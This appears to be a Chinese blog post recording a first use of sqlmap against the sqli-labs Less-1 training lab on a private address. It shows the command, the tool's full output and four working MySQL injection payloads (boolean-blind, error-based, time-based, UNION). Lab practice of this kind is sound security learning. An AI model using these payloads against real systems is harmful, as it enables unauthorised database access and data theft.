美文网首页
sqlmap第一次使用

sqlmap第一次使用

作者: 与狼共舞666 | 来源:发表于2022-08-25 23:25 被阅读0次
[root@localhost sqlmap-dev]# python sqlmap.py -u "http://10.3.23.204/sqli-labs-master/Less-1/?id=1"
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.6.8.3#dev}
|_ -| . [)]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 19:54:51 /2022-08-24/

[19:54:51] [INFO] testing connection to the target URL
[19:54:51] [INFO] testing if the target URL content is stable
[19:54:52] [INFO] target URL content is stable
[19:54:52] [INFO] testing if GET parameter 'id' is dynamic
[19:54:52] [INFO] GET parameter 'id' appears to be dynamic
[19:54:52] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[19:54:52] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[19:54:52] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[19:55:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:55:32] [WARNING] reflective value(s) found and filtering out
[19:55:32] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Your")
[19:55:32] [INFO] testing 'Generic inline queries'
[19:55:32] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[19:55:32] [INFO] GET parameter 'id' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable 
[19:55:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[19:55:32] [WARNING] time-based comparison requires larger statistical model, please wait.............. (done)            
[19:55:42] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[19:55:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:55:42] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:55:42] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[19:55:42] [INFO] target URL appears to have 3 columns in query
[19:55:42] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 45 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 6049=6049 AND 'veGq'='veGq

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=1' AND EXTRACTVALUE(4300,CONCAT(0x5c,0x7170766a71,(SELECT (ELT(4300=4300,1))),0x71706a6271)) AND 'bVud'='bVud

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 2473 FROM (SELECT(SLEEP(5)))TMjW) AND 'NowI'='NowI

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-7065' UNION ALL SELECT NULL,CONCAT(0x7170766a71,0x556a4e41444e6f6157796c4d724c5442416f744672614244626a4f4a4b5871504e734365616f5872,0x71706a6271),NULL-- -
---
[19:55:59] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.38
back-end DBMS: MySQL >= 5.1
[19:55:59] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.3.23.204'

[*] ending @ 19:55:59 /2022-08-24/

相关文章

  • sqlmap使用操作

    安装好sqlmap后,可以用cmd使用sqlmap D: cd sqlmap/sqlmap python sqlm...

  • SQL注入 注入工具sqlmap

    使用 下载sqlmap后,通过命令行cd到sqlmap地址下,打开sqlmap.py(python版本要在2.7以...

  • sqlmap从入门到精通-第七章-7-1 绕过WAF脚本-apo

    7.7 sqlmap使用tamper绕过WAF 7.7.1 tamper简介 1. tamper简介 sqlmap...

  • sqlmap Detection

    --level 共有五个等级,默认为1,sqlmap使用的payload可以在/usr/share/sqlmap/...

  • sqlmap使用

    post 注入: 抓包注入: cookie注入: cookie注入原理: 有些程序员 较懒,直接这么写: 这时候P...

  • sqlmap使用

    sqlmap跑post方式的注入时,若后台对token进行验证并且token值变化,则使用简单的sqlmap -u...

  • sqlmap使用

    常用语句 简单的注入流程 python sqlmap/sqlmap.py -help 注入点:http://tes...

  • sqlmap使用

    1. sqlmap简介 SQLmap是一款用来检测与利用SQL漏洞的注入神器。开源的自动化SQL注入工具,由Pyt...

  • sqlmap使用

    sqlmap是由Python编写的渗透测试工具,主要用来检测sql注入漏洞,是一款功能强大的sql漏洞检测利用工具...

  • sqlmap使用

    环境准备: 假设存在sql注入的url是 一、基于mysql注入 a、sqlmap注入爆数据库 如下图显示,即爆出...

网友评论

      本文标题:sqlmap第一次使用

      本文链接:https://www.haomeiwen.com/subject/qkmogrtx.html